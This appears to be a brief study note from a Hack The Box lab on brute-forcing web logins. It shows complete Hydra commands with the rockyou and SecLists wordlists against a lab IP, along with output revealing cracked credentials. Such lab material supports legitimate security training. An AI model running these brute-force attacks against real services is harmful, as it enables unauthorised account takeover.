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c-Username Bruteforce

2 min read

Wordlists

One of the most commonly used password wordlists is rockyou.txt, which has over 14 million unique passwords, sorted by how common they are, collected from online leaked databases of passwords and usernames.

jadu101@htb[/htb]$ locate rockyou.txt
 
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt

As for our usernames wordlist, we will utilize the following wordlist from SecLists:

jadu101@htb[/htb]$ locate names.txt
 
/opt/useful/SecLists/Usernames/Names/names.txt

Username/Password Attack

Hydra requires at least 3 specific flags if the credentials are in one single list to perform a brute force attack against a web service:

  1. Credentials
  2. Target Host
  3. Target Path

We can use the -L flag for the usernames wordlist and the -P flag for the passwords wordlist.

Tip: We will add the “-u” flag, so that it tries all users on each password, instead of trying all 14 million passwords on one user, before moving on to the next.

jadu101@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 178.35.49.134 -s 32901 http-get /
 
[DATA] max 16 tasks per 1 server, overall 16 tasks, 243854766 login tries (l:17/p:14344398), ~15240923 tries per task
[DATA] attacking http-get://178.35.49.134:32901/
[STATUS] 9105.00 tries/min, 9105 tries in 00:01h, 243845661 to do in 446:22h, 16 active
 
<...SNIP...>
[32901][http-get] host: 178.35.49.134   login: thomas   password: thomas1
 
[STATUS] attack finished for SERVER_IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Above will take a lot of time.

Username Bruteforce

If we know the password already, use -p flag to note it:

jadu101@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -p amormio -u -f 178.35.49.134 -s 32901 http-get /
 
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries (l:17/p:1), ~2 tries per task
[DATA] attacking http-get://178.35.49.134:32901/
 
[32901][http-get] host: 178.35.49.134   login: abbas   password: amormio
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

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